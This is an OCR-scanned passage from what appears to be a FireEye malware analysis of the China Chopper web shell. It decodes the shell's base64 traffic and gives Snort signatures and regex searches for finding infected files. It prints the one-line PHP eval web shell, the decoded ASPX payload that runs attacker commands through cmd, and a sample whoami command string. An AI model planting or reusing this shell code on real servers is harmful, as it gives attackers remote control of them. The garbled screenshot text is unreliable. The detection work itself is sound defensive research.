XGluzZXRwdWJcd3d3cm9IvdFwidndob2FtaSZ1Y2hvIFtTXSZjZCZ1Y2hvIFtFXQ%3D%3D

Baseé4 to plain text.

ddler Web Debugger

File Edt Ruls Togls Visw Help GET jbook

() 45 Replay 3¢+ b Resume | 4 Stream §fDecode | Keep: Allsessions + 653 Any Process 44 Find [ Save \[@ (& Browse - m% T TExtW\zardI‘

# Result | Protocol Host | LRL 85 Inspectors A o Tomposer | [ Fiters | ] Log

E1 200 TextWizard [764

Py Gt Shrry'3IFNSE3R IS 5E a4/ FribmSzdGlicy50 cm3i<Nzl 3RhenR by K FNSC3R b5 SUZ<hL kY u 29k swSnLkdidE Y u'y2 3k Snk. DY 11
DAxKSSHZ>RT dH. phmeol 320641 kNvbrZlcnQuRnd wblLLIkc 2 2N FN OemiuZyh S2:F 1 Z2M 0Lk 0w binow I0pk.S k7 dmFyl GL Sk 31 FNSE 3R 1
SE 2/ Fribimn 320G icy5 0 em3i2N zK Ck 7dmFyl G 314D pT exh 0w DuS UBUU 3Ry FHmhe GYVuLEVI OINSE3RIS BT p5 T dHI w1 52w Pk 7rys|
WieZWT aGYshEWAZ N 1dG USZmE o2l 7755 2w R pomyidF NSk I T 3W0cHYOP> Ry U 7 5520 RpcridFN 0w Sk ool kR yb 31 5dH.)
TZTHLINDY )05 Bmbz1 0 2MulEndy T IbnRzPS v paik ] N5 3RIbS SLUZhOLKY T 29k g Sk dIdE Y ur 29k ah/ Bk DY TMD AxK S5HZ<R T dH. pHy
meold 3lzdGVILKN vbnZlenuR pl vbl he 20 2NFN OcmluZyhSZ-F 12N OLK 02441 blnayl I0pK THLIN 04 0K C PB Y0P Ll 3R hbmR hemB PdA R
MU TRUKSZS5T dEFUZGRYZEY pem3y0 2Uul 2y c 21 ok THSZMmb 20225 S emilis hvd= QulmyheF RvRh SkE ClrRUkulmyhZF RvRiw ok CkpO
=

[[] View bytes Encodings. .. Sawe Output:  As Session To File... | Send outpuk to input E_]

To Baset4 e G

’ System. Diagnostics. ProcessS tarinfo(S ystem. Test Encoding, GetE ncodinglB5001 ). GetString(System. Corvert FromB asef4
:l@ From Basstd 5 ting(Request. ltem["z1"[l:var e=new Systerm Diagnostics. Process{):var
out:Gystem | 0. StieamPieader E1-System 10 SireamPeader.c. UseS helE vecute=false;c RediectStandardOutput=tue;c Re
) URLEncode: directStandardE nor=tus;e Statinfo=c c Arguments="Yc
[ +5ystem Test Encoding GetEncoding(65001] Corvert F vinglF equest Item{"22 )L Startf)
O URLDecods out=e Standard0utput £ 1= StandardE rorze Close()-Resporse Write[out ReadT oEnd(+E1 ReadT oE nd(); o fo amsoect

O HexEncode
© To 15 string

() From 35 string

() HTHL Encode

(O HTML Decade

O TaUTF-7

) From UTF-7

() To DeflatedSAML
() From DeflatedSAML

Figure 25: Fiddler Web debugger
decodes the Baseb4 traffic

8 Fiddleris available at http://fiddler2.com/.

). Fiddler needs this to be converted
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Decoded traffic:

varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEn-
coding(65001).
GetString(System.Convert.FromBase64String(Request.Item[“z1"])));
vare=newSystem.Diagnostics.Process();
varout:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;c.RedirectStandardError=true;
e.StartInfo=c;c.Arguments="/c”+System.Text.Encoding.GetEncoding(65001).
GetString(System.Convert.FromBase64String(Request.Item[“z2"]));
e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();
Response.Write(out.ReadToEnd()+EI.ReadToEnd());

The decoded fraffic presents something more readable. But the Baseé4-decoded traffic shows an
aftempt to decode more Baseé4 traffic stored as “z1" and "“z2.” The attacker traffic shows z1 and z2
parameters immediately after the end of the “Password” parameter.

The Baseé4-encoded parameters z1 and z2 are highlighted in the following output:

&21=Y21k&2z2=Y20QgL2Q0gImM6XGluZXRwdWJcd3d3cmIvdFwidndob2FtaSz1Y2hvIFtTXS2
jZCz1Y2hvIFtFXQ%3D%3D

Baseé4-decoded parameters z1 and z2:

zl=cmdz2=cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]

This code explains how the client communicates with the shell. The “Password” parameter passes the
code to the payload to be executed. The z1 is cmd, and z2 contains the arguments to the command
prompt sent via cmd /c. All output is sent to standard output (stdout) back to the attacker, which
creates the following response to the whoami command and the present working directory:

->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-
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Detection

Understanding the contents of China Chopper and what its fraffic looks like allows researchers
to detect this pest both at the network and the host level.

Network
With a standard Snort? IDS in place, this traffic can be caught with relative ease. Keith Tyler provides

the following basic IDS signature in his previously cited China Chopper blog post:'®

alert tcp any any -> any 80 ( sid:900001; content:”base64_decode”;
http_client_body;flow:to_server,established; content:”POST”; nocase;
http_method; ;msg:”Webshell Detected Apache”;)

To reduce false positives, tighten the Snort IDS signature to focus on China Chopper by looking
for contents of "FromBaseé4String” and “z1" as follows:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS S$HTTP_PORTS

(msg: “China Chopper with first Command Detected”;
flow:to_server,established; content: “FromBase64String”;

content: “z1”; content:”POST”; nocase;http method;
reference:url,http://www.fireeye.com/blog/technical/botnet-activities-
research/2013/08/
breaking-down-the-china-chopper-web-shell-part-i.html;
classtype:web-application-attack; sid: 900000101;)

The following IDS signature looks for content of “FromBase64String” and any combination of “z" followed
by one to three digits—it would find “z1", *z10", or “z100" for example. The idea: if the first command (z1)
is missed, the signature sfill catches subsequent commands.

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS S$HTTP_PORTS

(msg: “China Chopper with all Commands Detected”; flow:to_
server,established;

content: “FromBase64String”; content: “z”; pcre: “/z\d{1,3}/i";
content:”POST”; nocase;http method;
reference:url,http://www.fireeye.com/blog/technical/botnet-activities-
research/2013/08/
breaking-down-the-china-chopper-web-shell-part-i.html;
classtype:web-application-attack; sid: 900000102;)

Both of these IDS signatures can be optimized further to factor depth and offset. Be sure to put a valid
SID in before implementing and test the signature for performance.

9 Snortis available at http://www.snort.org/.
10 Keith Tyler. "China Chopper Webshell - the 4KB that Owns your Web Server”. November 2012.
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Host
Because the shells must contain a predictable syntax, researchers can quickly attempt to find files that
have that code in play.

Many methods can be used to find files that contain China Chopper. The quickest and easiest method,
especially on a Linux machine, is probably using regular expressions. As shown in Figure 26, a quick
egrep across the Web directory can help identify infected files.

egrep -re ‘ [<][?]php\s\@eval[ (]\$_POST\[.+\][)];[?][>]" *.php

ian@ubuntu:~/Workspace/TekDefense$ 1s -1 | grep 'php'
-rw-rw-r-- 1 ian ian 35 Jun 25 19:43 test2.
-rw-rw-r-- 1 ian ian 35 Jun 25 19:43 test3.
-rw-rw-r-- 1 ian ian 35 Jun 25 19:43 test4.
rw-rw-r-- 1 ian ian 35 Jun 25 19:25 test.
ian@ubuntu:~/Workspace/TekDefenseS mdSsum * .gby
4119e9b9ddd0dde45910bf830a965dbd  test2.php egrep command with regular
4119e9b9ddd0dde45916bf830a965dbd test3.php expression that matches the
4119e9b9ddd0dde45910bf830a965dbd  test4.php shell
4119e9b9ddd0dde45910bf830a965dbd test.php

1an@ubuntu:~/Workspace/TekDefenseS cat test.php

<?php @eval($_POST[ ‘password']);?>

1an@ubuntu:~/Workspace/TekDefense$ legrep -e '[<][2]php\s\@eval[(]\S_POST\[.(.+).\1[)1;[?2]1[>]" *.php

Found the code of
interest in each file

All are exact copies of
themselves with just the
webshell code

1an@ubuntu:~/Workspace/lTekDefense$ i

As shown in Figure 26, the egrep and regex commands are a powerful combination. While the regex
syntax may seem like gibberish, mastering it is not as difficult as it seems at first glance. lan Ahl has
created a few tutorials that can help improve researchers’ regex skills. Here are two to get started:

* Regex basics (hitp://www.tekdefense.com/news/2012/10/21/tektip-ep12-regex-basics.html)
* Using regex with Notepad
(http://www.tekdefense.com/news/2013/1/é/tektip-ep19-using-regex-with-notepad.htmil)

Windows also provides a way to search files using regular expressions with its native findstr command.

c:\Tools>findstr /R “[<][?]php.\@eval[ (]\$_POST.*[)];[2][>]" *.php
test.php:<?php @eval($_POST[ ‘password’]);?>

c:\Tools>—
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The command string differs from the regex equivalent. This was necessary to get around some
of the ways that findsir interprets regex.

The findstr command runs as follows:

findstr /R “[<][?]php.\@eval[(]\$ POST.*[)];[?]1[>]" *.php
These examples show detection in the PHP shell. To find the ASPX shell, modify the regex fo fit
the syntax of the ASPX shell as shown:

egrep -re ‘[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.
Item.+unsafe’ *.aspx

findstr /R “[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.
Item.*unsafe” *.aspx

Researchers unsure where all of the PHP or ASPX files are on a Windows host can use the dir command

with some extended options to help identify Web files to run the regex command against (see Figure 28).

dir /S /A /B *.php

:\Tools>dir /S /A /B .php
:\Tools\test.php
:\Tools\uuw\stillatest.php

\Tools\uwww\wuww2\yupstillatest.php

:\Tools>

Findstr also has an option to search all subdirectories (see Figure 29), as follows:

findstr /R /S “[<][?]php.\@eval[(]\$ POST.*[)];[?][>]" *.php

BN Administrator: C:\Windows\System32\cmd.exe = |12

c:\Tools>Findstr /R /S "[<][?]php.\@eval[(IJ\$_POST.x[)]:[?1[>]" ».php
test.php:<?php Reval($_POST['password’]);?>uwu\stillatest.php:<?php @eval($_POS
["password’]); ?>uww\www2\yupstillatest.php:<?php @eval($_POST[ password']);?>
c:\Tools>
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Conclusion

Armed with knowledge about China Chopper's features, platform versatility, delivery mechanisms,
traffic analysis, and detection—along with a few free software tools—researchers can begin eradicating
this elegantly designed but dangerous menace.

To learn more about how FireEye can help your organization find China Chopper and other advanced
malware, visit www.fireeye.com.
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